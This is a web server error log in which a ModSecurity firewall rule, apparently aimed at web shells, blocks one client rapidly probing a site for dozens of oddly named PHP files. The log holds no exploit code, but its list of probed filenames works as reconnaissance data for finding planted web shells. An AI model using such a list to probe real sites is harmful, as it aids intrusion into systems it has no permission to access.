[Sat Apr 18 23:25:58.041493 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:41207] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rogsa.php"] [unique_id "aeOihiYdRLRhVmaIMx3w7gAAANQ"]
[Sat Apr 18 23:25:58.648478 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:64251] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rogsa.php"] [unique_id "aeOihv1e7hG8DAeABB9NgwAAAQs"]
[Sat Apr 18 23:25:59.260149 2026] [:error] [pid 13023:tid 13038] [client 20.203.141.81:63740] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "aeOih_1e7hG8DAeABB9NhAAAAQ0"]
[Sat Apr 18 23:25:59.884726 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:7930] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "aeOih_1e7hG8DAeABB9NhgAAARA"]
[Sat Apr 18 23:26:00.676116 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:7725] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "aeOiiP1e7hG8DAeABB9NiQAAAQA"]
[Sat Apr 18 23:26:01.490808 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:63682] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "aeOiiSYdRLRhVmaIMx3w9AAAAMc"]
[Sat Apr 18 23:26:02.195041 2026] [:error] [pid 9864:tid 9915] [client 20.203.141.81:7898] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "aeOiioCFeowknfXHM7k4SQAAAEk"]
[Sat Apr 18 23:26:02.707029 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:54800] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "aeOiiiYdRLRhVmaIMx3w9gAAANM"]
[Sat Apr 18 23:26:03.209791 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:31018] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "aeOiiyYdRLRhVmaIMx3w-AAAAME"]
[Sat Apr 18 23:26:03.835432 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:37927] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "aeOii6zb5knECIY-C-issgAAAJc"]
[Sat Apr 18 23:26:04.510396 2026] [proxy_fcgi:error] [pid 32647:tid 32665] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:04.767917 2026] [proxy_fcgi:error] [pid 32647:tid 32654] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:05.054367 2026] [proxy_fcgi:error] [pid 32647:tid 32672] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:05.298250 2026] [proxy_fcgi:error] [pid 32647:tid 32650] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:05.691535 2026] [proxy_fcgi:error] [pid 32647:tid 32669] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:05.931441 2026] [proxy_fcgi:error] [pid 32647:tid 32656] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:06.197021 2026] [proxy_fcgi:error] [pid 32647:tid 32651] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:06.523818 2026] [proxy_fcgi:error] [pid 32647:tid 32658] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:06.880001 2026] [proxy_fcgi:error] [pid 32647:tid 32653] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:07.121343 2026] [proxy_fcgi:error] [pid 32647:tid 32660] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:07.449250 2026] [proxy_fcgi:error] [pid 32647:tid 32673] [client 20.203.141.81:37947] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:26:07.837978 2026] [:error] [pid 32647:tid 32667] [client 20.203.141.81:37947] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "aeOij0kxooM0iRo6e542CwAAAhE"]
[Sat Apr 18 23:26:08.569993 2026] [:error] [pid 32678:tid 32730] [client 20.203.141.81:57001] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "aeOikBUlAXU_ZWUu5y8ZrwAAApc"]
[Sat Apr 18 23:26:09.248536 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:63721] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "aeOikf1e7hG8DAeABB9NjgAAARA"]
[Sat Apr 18 23:26:09.968005 2026] [:error] [pid 32678:tid 32728] [client 20.203.141.81:32776] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "aeOikRUlAXU_ZWUu5y8ZsgAAApU"]
[Sat Apr 18 23:26:10.897665 2026] [:error] [pid 34290:tid 34335] [client 20.203.141.81:57022] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-942.php"] [unique_id "aeOikhqX6WpmmAXOBi8wEgAAAdA"]
[Sat Apr 18 23:26:11.707066 2026] [:error] [pid 32647:tid 32661] [client 20.203.141.81:32213] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-942.php"] [unique_id "aeOik0kxooM0iRo6e542DQAAAgs"]
[Sat Apr 18 23:26:12.338930 2026] [:error] [pid 32678:tid 32720] [client 20.203.141.81:47672] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-942.php"] [unique_id "aeOilBUlAXU_ZWUu5y8ZuAAAAo0"]
[Sat Apr 18 23:26:13.210758 2026] [:error] [pid 13023:tid 13029] [client 20.203.141.81:57021] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-942.php"] [unique_id "aeOilf1e7hG8DAeABB9NjwAAAQQ"]
[Sat Apr 18 23:26:14.208466 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:32797] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "aeOiliYdRLRhVmaIMx3xBgAAANI"]
[Sat Apr 18 23:26:15.257678 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:37942] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "aeOilyYdRLRhVmaIMx3xCgAAAMc"]
[Sat Apr 18 23:26:16.756018 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:41163] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "aeOimCYdRLRhVmaIMx3xDwAAANU"]
[Sat Apr 18 23:26:18.109818 2026] [:error] [pid 13023:tid 13032] [client 20.203.141.81:37950] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "aeOimv1e7hG8DAeABB9NlQAAAQc"]
[Sat Apr 18 23:26:19.149669 2026] [:error] [pid 32678:tid 32718] [client 20.203.141.81:7322] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeOimxUlAXU_ZWUu5y8ZvgAAAos"]
[Sat Apr 18 23:26:20.198973 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:54790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeOinCYdRLRhVmaIMx3xGQAAANI"]
[Sat Apr 18 23:26:20.979706 2026] [:error] [pid 13023:tid 13039] [client 20.203.141.81:32804] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeOinP1e7hG8DAeABB9NmwAAAQ4"]
[Sat Apr 18 23:26:22.010021 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:58509] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeOiniYdRLRhVmaIMx3xHgAAAM4"]
[Sat Apr 18 23:26:23.019148 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:57011] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeOinyYdRLRhVmaIMx3xIwAAANg"]
[Sat Apr 18 23:26:23.594704 2026] [:error] [pid 9970:tid 9986] [client 20.203.141.81:58520] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeOinyYdRLRhVmaIMx3xJQAAAMw"]
[Sat Apr 18 23:26:24.170411 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:64241] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeOioKzb5knECIY-C-iswwAAAIA"]
[Sat Apr 18 23:26:24.962090 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:39912] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeOioKzb5knECIY-C-isxgAAAIY"]
[Sat Apr 18 23:26:25.528431 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:30343] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeOiof1e7hG8DAeABB9NngAAARg"]
[Sat Apr 18 23:26:26.074586 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:7718] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeOioiYdRLRhVmaIMx3xKQAAAMk"]
[Sat Apr 18 23:26:26.694308 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:57012] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeOiov1e7hG8DAeABB9NpQAAAQ8"]
[Sat Apr 18 23:26:27.261537 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:54811] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "aeOio_1e7hG8DAeABB9NpwAAARQ"]
[Sat Apr 18 23:26:27.818978 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:30994] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aeOio_1e7hG8DAeABB9NqwAAAQs"]
[Sat Apr 18 23:26:28.535215 2026] [:error] [pid 32677:tid 32681] [client 20.203.141.81:37913] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aeOipBngmUE3LdC-wP72tAAAAkE"]
[Sat Apr 18 23:26:29.217628 2026] [:error] [pid 32677:tid 32704] [client 20.203.141.81:7459] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aeOipRngmUE3LdC-wP72tQAAAlg"]
[Sat Apr 18 23:26:29.756890 2026] [:error] [pid 32647:tid 32674] [client 20.203.141.81:30337] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aeOipUkxooM0iRo6e542DwAAAhg"]
[Sat Apr 18 23:26:30.460513 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:32824] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aeOiphUlAXU_ZWUu5y8ZvwAAAoc"]
[Sat Apr 18 23:26:31.031512 2026] [:error] [pid 32677:tid 32699] [client 20.203.141.81:32785] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aeOipxngmUE3LdC-wP72tgAAAlM"]
[Sat Apr 18 23:26:31.681781 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:47644] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aeOip_1e7hG8DAeABB9NvAAAAQs"]
[Sat Apr 18 23:26:32.223336 2026] [:error] [pid 34288:tid 34295] [client 20.203.141.81:41735] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aeOiqOTIiy__PtiLmpng5QAAAYM"]
[Sat Apr 18 23:26:32.791279 2026] [:error] [pid 32647:tid 32668] [client 20.203.141.81:31003] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeOiqEkxooM0iRo6e542EQAAAhI"]
[Sat Apr 18 23:26:33.630400 2026] [:error] [pid 34290:tid 34336] [client 20.203.141.81:32250] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeOiqRqX6WpmmAXOBi8wFwAAAdE"]
[Sat Apr 18 23:26:34.231422 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:7736] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeOiqv1e7hG8DAeABB9NwgAAARA"]
[Sat Apr 18 23:26:34.869865 2026] [:error] [pid 9865:tid 9960] [client 20.203.141.81:61776] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeOiqqzb5knECIY-C-is0AAAAJc"]
[Sat Apr 18 23:26:35.743514 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:32221] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "aeOiq_1e7hG8DAeABB9NyQAAAQk"]
[Sat Apr 18 23:26:36.444288 2026] [:error] [pid 9864:tid 9928] [client 20.203.141.81:58534] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "aeOirICFeowknfXHM7k4XQAAAFY"]
[Sat Apr 18 23:26:37.207700 2026] [:error] [pid 9863:tid 9875] [client 20.203.141.81:57000] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "aeOirTjjiypiFrTucbLcdwAAAAI"]
[Sat Apr 18 23:26:37.939018 2026] [:error] [pid 34290:tid 34339] [client 20.203.141.81:64242] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "aeOirRqX6WpmmAXOBi8wGgAAAdQ"]
[Sat Apr 18 23:26:39.065226 2026] [:error] [pid 32678:tid 32723] [client 20.203.141.81:51712] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeOirxUlAXU_ZWUu5y8ZxAAAApA"]
[Sat Apr 18 23:26:39.949049 2026] [:error] [pid 9865:tid 9945] [client 20.203.141.81:32813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeOir6zb5knECIY-C-is1QAAAIg"]
[Sat Apr 18 23:26:40.538133 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:32211] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeOisKzb5knECIY-C-is1gAAAJA"]
